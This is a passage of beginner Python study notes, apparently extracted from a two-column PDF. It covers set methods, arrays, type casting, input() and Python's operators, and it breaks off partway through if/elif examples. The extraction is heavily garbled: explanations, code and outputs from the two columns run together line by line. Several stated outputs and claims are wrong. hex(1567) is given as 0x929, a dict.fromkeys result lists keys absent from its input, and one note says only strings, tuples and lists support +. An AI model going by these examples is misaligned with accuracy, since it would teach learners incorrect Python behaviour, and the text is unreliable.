c = a.issubset(b)
print(c)
:- False
Variable.issuperset(Variable) a = {1,2,3,4}
b = {3,4}
V.issuperset(Variable) :- this method help c = a.issuperset(b)
to check if small set is a part of big set and print(c)
have same Values or not and returns True :- True
Or False. a = {1,2,3,4}
b = {3,4,10}
c = a.issuperset(b)
print(c)
:- False

Variable.symmetric_difference(Variable) a = {1,2,3,4,5,6,7}
b = {1,2,3,4}
V.symmetric_difference(Variable) :- this method c = a.symmetric_difference(b)
help to get the values and set difference values of print(c)
both set in a Variable. :- {5, 6, 7}
a = {1,2,3,4,5,6,7}
b = {1,2,3,4,8,9}
c = a.symmetric_difference(b)
print(c)
:- {5, 6, 7, 8, 9}
Variable.symmetric_difference_update(Variable) a = {1,2,3,4}
b = {5,3,4}
V.symmetric_difference_update(Variable) :- this a.symmetric_difference_update(b)
method help get the difference values from both print(a)
sets and update it. :- {1, 2, 5}

Boolean:-
• False -> 0
• True -> 1

a=5>6 a = False
print(type(a), a) b = type(a)
:- <class 'bool'> True print(b, a)
:- <class 'bool'> False
a = True while True:
b = type(a) print('This is a loop')
print(b, a) :- This is a loop
:- <class 'bool'> True .
.
Infinite Loop

Note:- It will never Stop Because it is True


while False:
print('This is a Loop')
:- No print

Note:- It will not Run because it is False.

Array-DataType:-
• Array is an ordered collection of data items.
• Array is defined by array module.
• Array takes two arguments first is Data-Type and Second is Data-Items.
• Array is mutable. It can change add or Delete.
• Array only can store similar type of data Items. Numberic to Numberic, String to
String etc.
• Array default works on one dimensional but we can perform multidimensional
• Only one column = One-Dimensional

import array

Array in Python can be created by importing array module. array(data_type, value_list) is


used to create an array with data type and value list specified in its arguments.

a = array.array('i',[7,8,9]) a = array.array('f',[7,8,9])
print(a) print(a)
:- array('i', [7, 8, 9]) :- array('f', [7.0, 8.0, 9.0])
a = array.array('d',[7,8,9])
print(a)
:- array('d', [7.0, 8.0, 9.0])

a = array.array('i',[7,8,9,'this']) a = array.array('u',['a','b'])
print(a) print(a)
:- array('u', 'ab')
:- TypeError: 'str' object cannot be
interpreted as an integer

Note:- Only Integer Data-Type can enter in


the Data-Items not the Strings.
a = array.array('u',['ca','b']) a = array.array('i',[7,8,8])
print(a) a.append(78)
:- TypeError: array item must be unicode print(a)
character :- array('i', [7, 8, 8, 78])
a = array.array('i',[7,8,8]) a = array.array('i',[7,8,8])
a.insert(1,34) a.extend([65,31,56,11])
print(a) print(a)
:- array('i', [7, 34, 8, 8]) :- array('i', [7, 8, 8, 65, 31, 56, 11])

Variable.insert(Index_No. , Value)
Variable[Index_No.] a = array.array('i',[7,8,9])
b = a[1]
V[Index_No.] :- this method help to get the print(b)
values from the array by using Index_no. :- 8
Variable[Index_No_Start: Index_No_End + a = array.array('i',[7,8,9])
1] b = a[1:3]
print(b)
V[Start:End] :- this method help get the :- array('i', [8, 9])
values from Start to finish + 1.
Variable.pop() a = array.array('i',[7,8,9])
a.pop()
V.pop() :- this method help to remove the print(a)
last Value from the array. :- array('i', [7, 8])
If Index_No. not define.
a = array.array('i',[7,8,9])
a.pop(1)
print(a)

Variable.remove(Value) a = array.array('i',[7,8,9])
a.remove(8)
V.remove(Value) :- this method help print(a)
remove the any value. :- array('i', [7, 9])

del Variable[Index_No.] a = array.array('i',[7,8,9])


del a[1]
print(a)
del V[Index_No.] :- this method help to :- array('i', [7, 9])
delete the value by using Index_No.

del Variable[Index_No.] a = array.array('i',[7,8,9])


del a
del V[Index_No.] :- this method help to print(a)
delete the value by using Index_No Or NameError: name 'a' is not defined
Delete whole Array.
Variable.count(Value) a =array.array('i',[7,7,7,7,7,8,9])
b = a.count(7)
V.count(Value) :- this method help to count print(b)
the how many times Value repeated in a :- 5
Array.
Variable.index(Value) a = array.array('i',[7,8,9])
b = a.index(9)
V.index(Value) :- this method help to find print(b)
the index No. of a Value inside a Array. :- 2
Variable.reverse() a = array.array('i',[7,8,9])
a.reverse()
V.reverse() :- this method help to reverse print(a)
the whole array. :- array('i', [9, 8, 7])
sorted(Variable) a = array.array('i',[7,9,6,8])
b = sorted(a)
sorted(V) :- this method help to make print(b)
whole array in a ascending order. :- [6, 7, 8, 9]

a = array.array('i',[7,9,6,8])
b = sorted(a)
print(b)
b.reverse()
print(b)
:- [9, 8, 7, 6]

Numpy
Import array
Import numpy
a = numpy.array([[34,56,67], ['abc', 'ds', 'fd'], ['fref', 4.5, 7.8]])
print(a)
:- [['34' '56' '67']
['abc' 'ds' 'fd']
['fref' '4.5' '7.8']]
a = numpy.array([[34,56,67], ['abc', 'ds', 'fd'], ['fref', 4.5, 7.8]]) Getting the
b = a[0][0], a[1][2], a[2][2], a[2] access of Values
print(b) from numpy
:- ('34', 'fd', '7.8', array(['fref', '4.5', '7.8'], dtype='<U32')) array
a = numpy.array([['ab','cd','bd'], [12,24,34], [14,34,'abc']]) Ascending-Order
a.sort()
print(a)
:- [['ab' 'bd' 'cd']
['12' '24' '34']
['14' '34' 'abc']]

UNICODE-Space-left
Type-Casting:-
• Type-Casting used to change to the Type of a Value. Like:- float to int, tuple to list

Float to int:- a = '8'


print(type(a))
a = 7.5 b = int(a)
print(type(a)) print(b,type(b))
b = int(a)
print(b, type(b)) :- <class 'str'>
8 <class 'int'>
:- <class 'float'>
7 <class 'int'>
a = 'harihs' Int to float:-
b = int(a)
print(b, type(b)) a = 9
b = float(a)
print(b, type(b))
:- ValueError: invalid literal for int() with :- 9.0 <class 'float'>
base 10: 'harihs'
Note:- float() only works on String or a
Note:- Only Numbers inside a String can Number.
convert in a int.
a = '3' a = '345'
b = float(a) b = float(a)
print(b, type(b)) print(b, type(b))
:- 3.0 <class 'float'> :- 345.0 <class 'float'>
a = 'harish' Int or float to complex
b = float(a)
print(b, type(b)) a = 2
b = complex(a)
:- ValueError: could not convert string to print(b, type(b))
float: 'harish'
:- (2+0j) <class 'complex'>
Note:- Only Numbers inside a String can
convert in a float. Note:- Only Numbers inside a String can
convert in a complex.
a = 3.9 a = '4'
b = complex(a) b = complex(a)
print(b, type(b)) print(b, type(b))

:- (3.9+0j) <class 'complex'> :- (4+0j) <class 'complex'>


a = 6 a = [1,2,3]
b = 4 b = (1,2,3)
c = complex(a,b) c = ‘jaros’
print(c, type(c))
Tuple, List, String can not convert in
:-(6+4j) <class 'complex'>
complex.
Unicode Table
Alphabet to Number (Unicode) a = ord('A')
print(a)
a = 'a'
b = ord(a) :- 65
print(b, type(b))

:- 97 <class 'int'>

Note:- Only a One character can use ord().


Number(Unicode) to Alphabet a = chr(122)
print(a)
a = chr(65)
print(a) :- z

:- A

Tuple, Dictionary, Set, String to List a = {1:2,3:4,5:6}


b = list(a)
a = (1,2,3,4) print(b, type(b))
b = list(a)
print(b, type(b)) :- [1, 3, 5] <class 'list'>

:- [1, 2, 3, 4] <class 'list'>

a = {1,2,3,4} a = 1,2,3,4
b = list(a) print(type(a))
print(b, type(b)) b = list(a)
print(b, type(b))
:- [1, 2, 3, 4] <class 'list'>
:- <class 'tuple'>
[1, 2, 3, 4] <class 'list'>
a = 'string' a = 'enter', 'your', 'name'
b = list(a) b = list(a)
print(b, type(b)) print(b, type(b))

:- ['s', 't', 'r', 'i', 'n', 'g'] <class 'list'> :- ['enter', 'your', 'name'] <class 'list'>
a = 1
b = list(a)
print(b)

TypeError: 'int' object is not


iterable
List,Dictionary, set, String, numberic to a = {1:2,3:4,5:6}
Tuple b = tuple(a)
print(b, type(b))
a = [1,2,3,4]
b = tuple(a) :- (1, 3, 5) <class 'tuple'>
print(b, type(b))

:- (1, 2, 3, 4) <class 'tuple'>


a = 'String' a = 1,2,3,4,5
b = tuple(a) b = tuple(a)
print(b, type(b)) print(b, type(b))

:- ('S', 't', 'r', 'i', 'n', 'g') <class 'tuple'> :- (1, 2, 3, 4, 5) <class 'tuple'>

a = 1.2,3.4,4.5 a = {1,2,3,4,5}
b = tuple(a) b = tuple(a)
print(b, type(b)) print(b, type(b))

:- (1.2, 3.4, 4.5) <class 'tuple'> :- (1, 2, 3, 4, 5) <class 'tuple'>


a = 'a' List, set, Dic to String
b = tuple(a)
print(b, type(b)) a = {1:2,3:4,5:6}
b = str(a)
:- ('a',) <class 'tuple'> print(b, type(b))

:- {1: 2, 3: 4, 5: 6} <class 'str'>

a = (1,2,3,4,5) a = [12,3,4]
b = str(a) b = str(a)
print(b, type(b)) print(b, type(b))

:-(1, 2, 3, 4, 5) <class 'str'> :- [12, 3, 4] <class 'str'>


a = {1,2,3,4} a = 1
b = str(a) b = str(a)
print(b, type(b)) print(b, type(b))

:- {1, 2, 3, 4} <class 'str'> :- 1 <class 'str'>

a = 's'
b = str(a)
print(b, type(b))

:- s <class 'str'>
List, Tuple, dic to set :- To remove a = [1,2,3,4,5]
duplicate values. b = set(a)
print(b, type(b))
a = {2:3,4:5,6:7}
b = set(a) :- {1, 2, 3, 4, 5} <class 'set'>
print(b, type(b))

:- {2, 4, 6} <class 'set'>

a = (1,2,3,4) a = 'String'
b = set(a) b = set(a)
print(b, type(b)) print(b, type(b))

:- {1, 2, 3, 4} <class 'set'> :- {'i', 'S', 't', 'r', 'g', 'n'} <class 'set'>

Set, tuple, list to Dictionary = Zip and a = {1,2,3,4}


fromkeys b = dict.fromkeys(a,'this')
print(b)
a = [1,2,3,4]
b = dict.fromkeys(a, 'this') :- {8: 'this', 5: 'this', 6: 'this', 7: 'this'}
print(b)

:- {1: 'this', 2: 'this', 3: 'this', 4: 'this'}

a = {1,2,3,4} a = {1,2,3,4}
b = dict.fromkeys(a,[5,6,7]) c = {1,2,3}
print(b) b = dict.fromkeys(a,c)
print(b)
:- {1: [5, 6, 7], 2: [5, 6, 7], 3: [5, 6, 7], 4: [5,
6, 7]} :- {1: {1, 2, 3}, 2: {1, 2, 3}, 3: {1, 2, 3}, 4: {1,
2, 3}}
a = (1,2,3,4) a = (1,2,3,4)
b = (1,2,3,4) b = [5,6,7,8]
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)

:- {1: 1, 2: 2, 3: 3, 4: 4} :- {1: 5, 2: 6, 3: 7, 4: 8}

a = {1,2,3,4} a = {1,2,3}
b = [10,11,12,13] b = {4,5}
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)

:- {1: 10, 2: 11, 3: 12, 4: 13} :- {1: 4, 2: 5}


a = {1,2,3} a = [1,2,3]
b = {4,5,8,90,100} b = [4,5,8,90,100]
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)

:- {1: 100, 2: 5, 3: 4} :- {1: 4, 2: 5, 3: 8}

a = [1,2,3] a = [5,6,7,8]
b = [4,5,8,90,100] b = bool(a)
c = dict(zip(b,a)) print(b)
print(c)
:- True
:- {4: 1, 5: 2, 8: 3}
Note:- this method help to check if value is
empty False, or not True.
a = [] a = [1]
b = bool(a) b = bool(a)
print(b) print(b)

:- False :- True

Hexadecimal -> 16base a = 17


0-9, A-F b = hex(a)
print(b)
a = 23
:- 0x11
b = hex(a)
print(b)

:- 0x17

a = 123 a =1567
b = hex(a) b = hex(a)
print(b) print(b)

:- 0x7b :- 0x929

a = 2345 a = 5678
b = hex(a) b = hex(a)
print(b) print(b)

:- 0x929 :- 0x162e
a = 2222 a = 3333
b = hex(a) b = hex(a)
print(b) print(b)

:- 0x8ae :- 0xd05
a = 242
b = hex(a)
print(b)

:- 0xf2
Numbers to octate:- 0-7 a = 255
b = oct(a)
a = 23 print(b)
b = oct(a)
print(b) :- 0o377

:- 0o27

Functions:-
• There are two types of functions. In-Built Functions, User-define-Function
• Built-In Function :- Those functions are defined by Python like. Input etc.
• User-define Function :- Those functions are defined by User.

Built-In Functions:-

input() -> It saves everything in a String. a = input('Enter your name ' )


Like numbers, list etc. print(type(a))
print(a)
Output() -> print()
Enter your name ravi
a = input('Enter your name ' ) <class 'str'>
print(a) :- ravi

Enter your name harish


:- harish

Note:- one input() can only take one Value.


And one variable.
a = input('Enter your value: ') a = int(input('Enter your value: '))
b = input('Enter your Value: ') print(type(a))
c = a+b b = int(input('Enter your Value: '))
print(c) c = a+b
print(c)
Enter your value: 56
Enter your Value: 54 Enter your value: 56
:- 5654 <class 'int'>
Enter your Value: 54
:-110
Q:- 20,30,40,50,60. Add all integers. :-
Enter Value A: 20
a = int(input('Enter Value A: ')) Enter Value B: 30
b = int(input('Enter Value B: ')) Enter Value C: 40
c = int(input('Enter Value C: ')) Enter Value D: 50
d = int(input('Enter Value D: '))
Enter Value E: 60
e = int(input('Enter Value E: '))
200
f = a+b+c+d+e <class 'int'>
print(f)
print(type(f))

Q:- 4 Inputs and multiply them b/w. 20,30,40,50. :-


Enter Value A: 20
a = int(input('Enter Value A: ')) Enter Value B: 30
b = int(input('Enter Value B: ')) Enter Value C: 40
c = int(input('Enter Value C: '))
d = int(input('Enter Value D: '))
Enter Value D: 50
1200000 <class 'int'>
e = a*b*c*d
print(e, type(e))

Q:- Writing 3 String and add them with spaces.


:-
Enter your First-name: harish
a = input('Enter your First-name: ' ) Enter your second-name: kumar
b = input('Enter your second-name: ' ) Enter your Third-name: sharma
c = input('Enter your Third-name: ' )
d = a + b + c
harish kumar sharma <class 'str'>
print(d, type(d))

Note:- Use spaces before or after writing a Input


Value
a = 12 a = 12
b = 67 b = 67
print('The value of a is',a,'The value print('The value of a+b is
of b is',b) ',a+b,'The value of b,a is ',b,a)

:- The value of a is 12 The value of b is 67 :- The value of a+b is 79 The value of b,a is 67
12
a = int(input('Enter Value A: ')) Enter Value A: 56
b = int(input('Enter Value B: ')) Enter Value B: 54
c = int(input('Enter Value C: '))
Enter Value C: 20
print('The value of a is :',a,'\nThe The value of a is : 56
value of b is :',b,'\nThe value of c The value of b is : 54
is :',c) The value of c is : 20

Note:- \n this will help write down the String in the


Next Line. It only works in String.
, -> it will give automatically spaces

print() -> Only blank print() function can go to


another-line

a = input('Enter your a: ' ) Enter your a: 10


b = input('Enter your b: ' ) Enter your b: 20
c = input('Enter your c: ' )
d = input('Enter your d: ' )
Enter your c: 30
Enter your d: 40
print('The value of a is',a*2,'The :-
value of b is',b*2,'The value of c The value of a is 1010 The value of b is 2020
is',c*2,'The value of c is',2*d) The value of c is 3030 The value of c is 4040
#Take three input from user in String Enter your a: harish
and calculate length of each input . Enter your b: kumar
a = input('Enter your a: ' )
Enter your c: sharma
b = input('Enter your b: ' ) :-
c = input('Enter your c: ' ) The value of a is 6 The value of b is 5 The
value of c is 6
print('The value of a is',len(a),'The
value of b is',len(b),'The value of c
is',len(c))

#Take four input from user in integer Enter Value A: 56


and subtract all value with each other. Enter Value B: 54
Enter Value C: 89
a = int(input('Enter Value A: ')) Enter Value D: 20
b = int(input('Enter Value B: ')) :-
c = int(input('Enter Value C: ')) The Subraction Value of all -107
d = int(input('Enter Value D: '))

e = a-b-c-d
print('The Subraction Value of all',e)
Operators:-
• Arithmetic-Operator:- + , - , *, / , % , ** , //

Plus(+) :- a = 12
b = 89
c = a + b + 90
Note:- Only String, Tuple, List can use +. print('The value of c is',c)
a = 12
b = 89 :- The value of c is 191
c = a + b
print('The value of c is',c)

:- The value of c is 101

a = 23 a = [1,2,3,4,5]
b = 90 b = [6,7,8,9,10]
print('The value of a+b',a+b) print('The Total Value',a+b)

:- The value of a+b 113 :- The Total Value [1, 2, 3, 4, 5, 6, 7, 8, 9,


10]
a = (1,2,3,4,5) a = 'String1'
b = (6,7,8,9,10) b = 'String2'
print('The Total Value',a+b) print('The Total String',a+b)

:- The Total Value (1, 2, 3, 4, 5, 6, 7, 8, 9, :- The Total String String1String2


10)
#Subtraction(-) :- a = 23
b = 89
c = a-b-90
Note:- Only Numberic Value can use -. print('The Value of c',c)
a = 23
:- The Value of c -156
b = 89
c = a-b
print('The Value of c',c)

:- The Value of c -66


a = 90
b = 87
print('The value of a-b',a-b)

:- The value of a-b 3


Multiplication(*) :- a = 78
b = 90
c = a*b*90
Note:- Only String, Tuple, List, Numbers print('The value of c',c)
can use *.
a = 78
b = 90 :- The value of c 631800
c = a*b
print('The value of c',c)

:- The value of c 7020


a = 90 a = [1,2,3]
b = 98 print(a*2)
print('The value of a*b',a*b)
:- [1, 2, 3, 1, 2, 3]
:- The value of a*b 8820
a = (1,2,3) a = 'String'
print(a*3) print(a*3)

:- (1, 2, 3, 1, 2, 3, 1, 2, 3) :- StringStringString
Division(/) :- always return in float no. a = 12
Quotient b = 6
a = 90 c = a/b
b = 90 print('The value of c',c)
c = a/b
print('The value of c',c) :- The value of c 2.0

:- The value of c 1.0

Modulus ( % ) :- Remainder a = 2
b = 2
a = 5 print(a%b)
b = 2
c = a%b :- 0
print(c)

:- 1
Power( ** ) :- a = 5
b = 2
c = a**3
a = 5
print(c)
b = 2
c = a**b
print(c) :- 125

:- 25
Integer-Division( // ) :- Value Round-Off- a = 5
Divide. b = 4
c = a//b
print(c)
Note:- If Value is +ve in float.no then it will
show low Value. Go-backwards. :- 1
Go-Backwards.
If Value is –ve in float.no then it will show
high Value. Go-Forwards.
a = -5 a = 15
b = 4 b = 2
c = a//b c = a//b
print(c) print(c)

:- -2 :- 7
Go-Forward. Go-Backwards.
a = -15
b = 2
c = a//b
print(c)

:- -8
Go-Forward.

Assignment-Operators:-
• = , += , -= , *= , /= , %= , **=

+= :- Plus and Assignment. a = 89


print(a)
a = a + 56
Note:- Not Set, Dictionary. print(a)
a = 89
print(a)
a += 56 :-
print(a) 89
145
:-
89
145
a = 89 a = 89
print(a) print(a)
a += 2 a = a + 2
print(a) print(a)

:- :-
89 89
91 91

a = [1,2,3,4] a = (1,2,3,4,5)
a += [5,6,7,8,9] a += (6,7,8,9)
print(a) print(a)

:- [1, 2, 3, 4, 5, 6, 7, 8, 9] :- (1, 2, 3, 4, 5, 6, 7, 8, 9)

a = 'String1' a = 4.5
a += 'String2' a += 8
print(a) print(a)

:- String1String2 :- 12.5

-= Subtraction and Assign a = 100


print(a)
a = 100 a = a - 2
print(a) print(a)
a -= 2
print(a) :-
100
:- 98
100
98

a =90 a =90
a -= 50 a = a - 50
print(a) print(a)

:- 40 :- 40

a = 89 a = 89
a -= 90 a = a - 90
print(a) print(a)

:- -1 :- -1
*= Multiplication and Assign a = 12
print(a)
a =a * 2
Note:- Not Dictionary, Set. print(a)
a = 12
print(a) :-
a *= 2 12
print(a) 24

:-
12
24
a = 4 a = 4
a *= 4 a = a * 4
print(a) print(a)

:- 16 :- 16
a = [1,2,3] a = [1,2,3]
a *= 3 a = a * 3
print(a) print(a)

:- [1, 2, 3, 1, 2, 3, 1, 2, 3] :- [1, 2, 3, 1, 2, 3, 1, 2, 3]

a = (1,2,3) a = (1,2,3)
a *= 3 a = a * 3
print(a) print(a)

:- (1, 2, 3, 1, 2, 3, 1, 2, 3) :- (1, 2, 3, 1, 2, 3, 1, 2, 3)

a = 'String' a = 'String'
a *= 3 a = a * 3
print(a) print(a)

:- StringStringString :- StringStringString

/= Division and Assign a = 4


a = a / 2
print(a, type(a))
a = 4
a /= 2
print(a, type(a)) :- 2.0 <class 'float'>

:- 2.0 <class 'float'>


a = 8 a = 8
a /= 2 a = a / 2
print(a, type(a)) print(a, type(a))

:- 2.0 <class 'float'> :- 2.0 <class 'float'>


%= Modules remainder and Assign a = 14
a = a % 3
a = 14 print(a)
a %= 3
print(a) :- 2

:- 2

a = 19 a = 19
a %= 3 a = a % 3
print(a) print(a)

:- 1 :- 1

a = 20 a = 20
a %= 4 a = a % 4
print(a) print(a)

:- 0 :- 0

**= Power and Assign a = 2


a = a**4
a = 2 print(a)
a**=4
print(a) :- 16

:- 16

a = 90 a = 90
a**= 9 a = a**9
print(a) print(a)

:- 387420489000000000 :- 387420489000000000

//= Integer-Division-Value Round-off a = 17


a = a // 4
a = 17 print(a)
a//=4
print(a) :- 4
:- 4

a = -17 a = -17
a//=4 a = a // 4
print(a) print(a)

:- -5 :- -5

Comparison-Operator:-
• > , < , <= , >= , == , != :- True or False, 0 -> False, 1 -> True
• First checking the Greater-Values then Length –> Rule
• Dictionary doesn’t work.

> :- Greater-Than :- Value inside Compare a = 6.1


Alphabet greater than Numbers. b = -6.1
c = a > b
print(c)
a = 24
b = 29
c = a > b :- True
print(c)

:- False
a = 'String' a = 'ztring'
b = 'String' b = 'String'
c = a > b c = a > b
print(c) print(c)

:- False :- True

a = 'StringString' a = [1,2,3]
b = 'String' b = [1,2,3]
c = a > b c = a > b
print(c) print(c)

:- True :- False
a = [1,2,3,4] a = [1, 2, 3]
b = [1,2,3] b = [1, 2, 10]
c = a > b print(a > b)
print(c)
:- False
:- True
Note:- If values of two variable same but
one length is greater than other than
greater one is Bigger.
a = [1, 2, 3, 4] a = (1,2,3)
b = [1, 2, 10] b = (1,2,3)
print(a > b) c = a > b
print(c)
:- False
:- False
a = (1,2,3,0) a = {1,2,3}
b = (1,2,3) b = {1,2,3}
c = a > b c = a > b
print(c)
:- True :- False

a = {1,2,3,4} a = '1String'
b = {1,2,3} b = 'String'
c = a > b print(a > b)
print(c)
:- False
:- True

a = [12,2,3,4] a = [9,7,3]
b = [11,6,7,8] b = [5,11,7]
c = a > b c = a > b
print(c) print(c)

:- True :- True

a = [1,2,3,4] a = [1,2,3,0]
b = [9,8,7] b = [1,2,3]
print(a > b) c = a > b
print(c)
:- False
:- True
a = [9,8,7,10] a = [9,8,7,10,0]
b = [9,8,7,11] b = [9,8,7,11]
c = a > b c = a > b
print(c) print(c)

:- False :- False

< :- less than a = 6.1


b = -6.1
a = 24 c = a < b
b = 29 print(c)
c = a < b
print(c) :- False
:- True

a = 'String' a = 'ztring'
b = 'String' b = 'String'
c = a < b c = a < b
print(c) print(c)

:- False :- False

a = 'StringString' a = [1,2,3]
b = 'String' b = [1,2,3]
c = a < b c = a < b
print(c) print(c)
:- False :- False

a = [1,2,3,4] a = [1, 2, 3]
b = [1,2,3] b = [1, 2, 10]
c = a < b print(a < b)
print(c)
:- True
:- False

a = [1, 2, 3, 4] a = (1,2,3)
b = [1, 2, 10] b = (1,2,3)
print(a < b) c = a < b
print(c)
:- True
:- False
a = (1,2,3,0) a = {1,2,3}
b = (1,2,3) b = {1,2,3}
c = a < b c = a < b
print(c) print(c)

:- False :- False
a = [12,2,3,4] a = [9,7,3]
b = [11,6,7,8] b = [5,11,7]
c = a < b c = a < b
print(c) print(c)

:- False :- False

a = [1,2,3,4] a = [1,2,3,0]
b = [9,8,7] b = [1,2,3]
print(a < b) c = a < b
print(c)
:- True
:- False
<= :- Less than and Equal to. a = 89
b = 90
a = 90 print(a <= b)
b = 90
print(a <= b) :- True

:- True

a = [1,2,3,4,5,6,7] a = [1,2,3]
b = [9,8] b = [9,8,7]
print(a <= b) print(a <= b)

:- True :- True
a = [1,9,10,11] a = [1,2,3,4]
b = [5,6,7,8] b = [1,2,3,4]
print(a <= b) print(a<=b)

:- True :- True
a = (1,2,3) a = (1,2,3,4,5,6)
b = (1,2,4) b = (9,8)
print(a <= b) print(a <= b)

:- True :- True
a = {1,2,3} a = {1,2,3,4}
b = {1,2,3} b = {1,2,3}
print(a <= b) print(a <= b)

:- True :- False

a = {1,2,3,4,5,6,7} a = {1,2,3}
b = {9,8} b = {9,8,7}
print(a <= b) print(a <= b)

:- False :- False
>= :- Greater and Equal too. a = [1,2,3,4,5,6,7]
b = [9,8]
a = 89 print(a >= b)
b = 90
print(a >= b) :- False

:- False

a = [1,2,3] a = [1,9,10,11]
b = [9,8,7] b = [5,6,7,8]
print(a >= b) print(a >= b)

:- False :- False
a = [1,2,3,4] a = (1,2,3)
b = [1,2,3,4] b = (1,2,4)
print(a>=b) print(a >= b)

:- True :- False
a = (1,2,3,4,5,6) a = {1,2,3}
b = (9,8) b = {1,2,3}
print(a >= b) print(a >= b)

:- False :- True
a = {1,2,3,4} a = {1,2,3,4,5,6,7}
b = {1,2,3} b = {9,8}
print(a >= b) print(a >= b)

:- True :- False

a = {1,2,3}
b = {9,8,7}
print(a >= b)

:- False
== :- Equals too. a = 100
b = 90
a = 100 print(a==b)
b = 100
print(a==b) :- False

:- True
a = 'this' a = 'this'
b = 'this' b = 'this'
print(a==b) print(a[0] == b[0])

:- True :- True
a = 'Harish' a = 'Harish'
b = 'Sharma' b ='ravi'
print(a[1] == b[-1]) print(a==b)

:- True :- False

a = 'Harish' a = 'Harish'
b ='Havi' b ='Havi'
print(a==b) print(a[0] == b[0])

:- False :- True
a = [1,2,3,4] a = [1,2,3,4]
b = [1,2,3,4] b = [1,2,3,4]
print(a == b) print(a[-1] == b[1])

:- True :- False
a = [1,2,3,4,5] a = [1,2,3,4]
b = [1,2,3,4] b = [1,2,3,5]
print(a == b) print( a == b)

:- False :- False
a = {1:'this'} a = {1:'One', 2:'Two'}
b = {2:'this'} b = {1:'One', 2:'Two'}
print(a[1] == b[2]) print(a == b)

:- True :- True
a = {1:'One', 2:'Two'} a = {1:'One', 2:'Two'}
b = {3:'One', 4:'Two'} b = {3:'One', 4:'Two'}
print(a == b) print(a[1] == b[3])

:- False :- True

!= Not equal to. a = 100


b = 90
a = 100 print(a!=b)
b = 100
print(a != b) :- True

:- False
a = [1,2,3] a = [1,2,3,4]
b = [9,2,3] b = [5,6,7]
print(a != b) print(a != b)

:- True :- True
a = {1,2,3} a = {1,2,3}
b = {4,5,6} b = {1,2,3}
print(a != b) print(a != b)

:- True :- False

Logical-Operator :- and, or, not


• Logical-Operator only can use when we have two or more values to compare.

and (*)
and :- Multiply (*) a = 10
b = 20
a = 10 c = 30
b = 20
c = 30 print(a < b and b < a and c < a)
print(a < b and b < c)
:- False
:- True
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
print(c > a and b )
print(c > a and b and a)
:- 20
:- 10
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
print(a > b and c) d = a<b and b<c
print(d)
:- False
:- True

a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and b>c d = a>b and b>c
print(d) print(d)

:- False :- False
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and c d = a<b and c and b and a
print(d) print(d)

:- 30 :- 10

a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and 100 d = a>b and c
print(d) print(d)

:- 100 :- False

or (+)

a = 10 a = 10
b = 10 b = 20
c = 40 c = 30
print(a==b or b>c) print(b>a or c<a)

:- True :- True
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a<b or c<a) print(a==b or b>c)

:- False :- True
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a==b or c) print(a!=b or c)

:- True :- 40
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a!=b or 1000) print(a!=b or c or b)

:- 1000 :- 40

not (Opposite)

a = 10 a = 10
b = 20 b = 20
c = not a<b c = not a>b
print(c) print(c)

:- False :- True

Identity-Operator :- is, is not

• To check the Value (object) have same memory locations or are they same or not.

a = 34 a = 34
b = 67 b = 34
c = a is b c = a is b
print(c) print(c, id(a), id(b))
:- False 2630150522128 2630150523184 :- True 2630150522128 2630150522128

a = [1,2,3] a = [1,2,3]
b = [1,2,3] b = [1,2,3]
c = a[1] is b[1] c = a[0] is b[1]
print(c, id(a), id(b)) print(c, id(a), id(b))

:- True 2049519351232 2049519396992 :- False 2049519350528 2049519351232

Note:- You can not use whole list to


compare.

a = 78 a = 78
b = 89 b = 78
c = a is not b c = a is not b
print(c, id(a), id(b)) print(c, id(a), id(b))

:- True 1417463007888 1417463008240 :- False 1417463007888 1417463007888

Membership-Operators:- in, not in


a = 'enter your name' a = 'enter your name'
b = 'name' in a b = 'nme' in a
print(b) print(b)

:- True :- False

a = ['enter','your','name'] a = ['enter','your','name']
b = 'name' in a b = 'nmr' in a
print(b) print(b)

:- True :- False
a = ['enter','your','name'] a = ['enter','your','name']
b = input('enter your name:') b = input('enter your name: ')
c = b in a c = b in a
print(c) print(c)

enter entar

:- True :- False
a = [10,20,30,'40'] a = [10,20,30,'40']
b = input('enter your Value: ') b = int(input('enter your Value: '))
c = b in a c = b in a
print(c) print(c)

11 10

:- False :- True
a = ['enter','your','name'] a = [10,20,30]
b = 245 not in a b = 10 not in a
print(b) print(b)

:- True :- False

Bitwise-Operator

& :- Bitwise and a = 10


b = 20
a = 10 c = a&b
b = 12 print(c)
c = a&b
print(c, bin(a), bin(b)) :- 0

:- 8 0b1010 0b1100
a = 23 | :- Bitwise or
b = 20
c = a&b a = 12
print(c) b = 10
c = a|b
print(c)
:- 20
:- 14
a = 23 ^ :- Bitwise exclusive or xor
b = 30
c = a|b a = 12
print(c) b = 10
c = a^b
:- 31 print(c)

:- 6
a = 20 ~ :- Bitwise Inversion
b= 26
c = a^b a = 10
print(c) b = ~a
print(b)
:- 14
:- -11
a = -10
b = ~a
print(b)

:- 9

<< :- left bitwise shift :- Double the value a = 15


b = a<<2
a = 15 print(b)
b = a<<1
print(b) :- 60

:- 30
a = 15 a = 23
b = a<<3 b = a<<1
print(b) print(b)

:- 120 :- 46

a = 23 a = 23
b = a<<2 b = a<<3
print(b) print(b)

:- 92 :- 184

a = 0 a = -9
b = a<<1 b = a<<1
print(b) print(b)

:- 0 :- -18
>> :- Right-shift :- half the a = 23
value b = a >> 2
print(b)
a = 23
b = a >>1 :- 5
print(b)

:- 11
a = 30 a = 30
b = a >> 1 b = a >> 2
print(b) print(b)

:- 15 :- 7
a = 30
b = a >> 3
print(b)

:- 3

Conditions(if,elif,else,nested-if)
If :- if condition is True then it will execute if 4 > 5:
print('5 is greater than 4')
if 4 < 5:
print('5 is greater than 4') Note:- if is False then it will not Execute.
:- 5 is greater than 4

Elif :- we will use elif statement more than one If-if :- It will print all True Conditions
condition we have
a = 3 a = 3
b = 4 b = 4
c = 5 c = 5

if a < b and a < c: if a < b and a < c:


print('a is smaller than b and c') print('a is smaller than b and c')
elif b < a and b < c: if b>a and b<c:
print('b is less than a and c') print('b is less than a and c')
